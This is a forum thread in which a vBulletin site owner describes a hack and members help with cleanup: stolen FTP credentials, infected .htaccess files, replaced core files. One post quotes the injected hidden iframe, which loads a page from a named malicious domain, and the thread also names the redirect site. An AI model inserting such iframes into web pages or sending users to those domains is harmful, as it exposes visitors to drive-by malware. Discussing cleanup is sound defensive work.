Forum hacked

[Traxdata]

My forum was hacked for the first time ever -
buttons and images are not showing,
if I click on links in forums they redirect me to http://breakthrufundraising . com/ezzi.html this site,
have deleted all index.html files on server, all changed files rewrote to originals.
still nothing. any idea???

PS: Can't login to admincp since if I enter my PW my forum redirects me to the above mentioned website. Nothing can be changed.
I have closed forums via .htaccess

Thanks!

[ForceHSS]

link to site?

[Traxdata]

like mentioned I have closed the boards via .htaccess to protect that user pw's (if they login) will be forward.

[ForceHSS]

so without a link to your site that would help someone to find out what has been installed how are we to help you fix this problem. As all you have here is a post telling us you have a problem but no way for us to help you

[Brandon Sheley]

Why did you give us a live link to the guy "hacking" you?
Can you show us a screenshot of your images and buttons not showing, as you said?
Have you checked the server logs, I'd suggest changing your database info and finding out how you where compromised.

[In Omnibus]

Without a link to the site in need of assistance this is more like a spam thread for the link that has been posted.

[doctorsexy]

Watch that link. as it trys to load something..

[Traxdata]

I have two sites, check this one

- when you click on links you will be redirected to another (above mentioned) website. if you click "show image" you will also be redirected tio another website, I talked with my hoster they said someone had my FTP pw's
ok, I have replaced all files on darkshine.de but still not a big change!

--------------- Added 1357139850 at 1357139850 ---------------

changed the link

--------------- Added 1357139926 at 1357139926 ---------------

Watch that link. as it trys to load something..
changed the link

--------------- Added 1357140311 at 1357140311 ---------------

They added to all my .html files this:
<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://salvadorpostigo . com/hzws.html>;</iframe>
Have deleted all the files and replaced with new files - not helped!

Searched for
%base64% %iframe%
in phpmyadmin

nothing suspicious found.

--------------- Added 1357140482 at 1357140482 ---------------

All the pictures from my server are not showing up neither on my sites nor on other places I have posted them!
Only if I click on "copy address for image" and paste in url bar I can see them.

[Simon Lloyd]

My antivirus wouldn't allow your site to load!

[Traxdata]

Yes, a big help, thx!

[In Omnibus]

Are you able to login to the AdminCP directly using admincp/index.php?

[Traxdata]

no way,
since I have to enter my pw and when I click on continue...redirecting to this stupid website.

have access only with ftp, phpmyadmin or ssh

Like I said, my other website is not a forum, so no database, has nbothng to do with vbulletin, only .html and .jpg files.
I have replaced ALL .html files and some .jpg but still cant see the pictures and still redirecting active, talked to hoster - nothing suspicious (malware/trojaner) found on server.

[In Omnibus]

Are you able to access the AdminCP using tools.php?

--------------- Added 1357142189 at 1357142189 ---------------

The first thing I would do is to replace the index.php file with the default file. You should be able to do that much via FTP.

[Traxdata]

never tried, do I have to login on tools.php? if so, then no way.

--------------- Added 1357143095 at 1357143095 ---------------

no way, it asks for member# and redirects to another website,

[Simon Lloyd]

It seems to me that one or more of your core files hasn't been overwritten, you will also have a file or two which doesn't belong in your forum root which is rewriting the infection every time it doesn't see it, my suggestion would be to rename your forum folder add a new folder then name it to what your forum folder was, upload all fresh files (with the install/install.php deleted and the config.php.new edited for your database and renamed to config.php) and then try to access, if you can then you need to search your old folder for files that shouldn't be there, delete them, then upload with overwrite via ftp in ascii mode your fresh files in to the renamed folder, rename the temp folder to something else and then rename your old folder back to it's original and see how you go.

[Traxdata]

The problem found, it was also infected .htaccess file in www, I have added one in root but not in www............... shame on me.

. so if one of you will ge the same issue.

But still - it were about 10 infected vbulletin files - you have to delete them, you can easily find them but checking the date - the older and not changed ones are harmful, only recently changed you have to delete and replace with old original files.

The problem came with Filezilla, it seems to be well known problem, I would recommend to login with SFTP and not with FTP if using Filezilla and then changing all the PWs.

--------------- Added 1357146302 at 1357146302 ---------------

It seems to me that one or more of your core files hasn't been overwritten, you will also have a file or two which doesn't belong in your forum root which is rewriting the infection every time it doesn't see it, my suggestion would be to rename your forum folder add a new folder then name it to what your forum folder was, upload all fresh files (with the install/install.php deleted and the config.php.new edited for your database and renamed to config.php) and then try to access, if you can then you need to search your old folder for files that shouldn't be there, delete them, then upload with overwrite via ftp in ascii mode your fresh files in to the renamed folder, rename the temp folder to something else and then rename your old folder back to it's original and see how you go.
YEs, it was the first I did, I deleted and replaced all recently changed files (.php), all index.html and other .html files, and have created new .htaccess but did not in www, it was such waste of time! I could be ready within 10 minutes.

Database was not effected - thankfully!!! since it could take ages to restore.

[Amaury]

I'd suggest filing a ticket so vBulletin can help.

Also, which version of vBulletin 3 are you running?

[Simon Lloyd]

The problem came with Filezilla, it seems to be well known problem, I would recommend to login with SFTP and not with FTP if using Filezilla and then changing all the PWs.Thats possible because filezilla stores your passwords as plain text, however, the passwords will not have been transmitted elsewhere by filezilla but rather you have/had an infection on your own pc that's found and relayed these.

--------------- Added 1357147387 at 1357147387 ---------------

One other thing, if your .htaccess was infected then thats not an issue with vbulletin but more with a server vulnerability as only you or your server control panel can affect the .htaccess.

[Max Taxable]

Thats possible because filezilla stores your passwords as plain text, however, the passwords will not have been transmitted elsewhere by filezilla but rather you have/had an infection on your own pc that's found and relayed these.Couldn't thank the post so, thanks here! You are 100% correct.

[Simon Lloyd]

You're too kind :), although this is sadly true in so many "i've been hacked" cases, we're all guilty of some security faux pas at sometime or another and only realise it when our world seems like it's caved in!

[Traxdata]

I ran vb since 07/2004, and it was for the first time, I know how to spell -security-.

if it will happen to someone - search for .htaccess files on your whole server (via ssh or sftp), they will be everywhere in vb folders. you have to delete them all.

[ForceHSS]

I ran vb since 06/2004, and it was for the first time, I know how to spell -security-.

you get all this help then you say that

[In Omnibus]

You're too kind :), although this is sadly true in so many "i've been hacked" cases, we're all guilty of some security faux pas at sometime or another and only realise it when our world seems like it's caved in!

Which is why responsible administrators backup their forums at least once daily and to multiple locations.

[doctorsexy]

I'd suggest getting some Av for your Pc..

[Max Taxable]

I ran vb since 07/2004, and it was for the first time, I know how to spell -security-.

if it will happen to someone - search for .htaccess files on your whole server (via ssh or sftp), they will be everywhere in vb folders. you have to delete them all.Clean your own registry first, friend. Start with this utility:

http://www.mcafee.com/apps/free-tools/termsofuse.aspx?url=/us/downloads/free-tools/stinger.aspx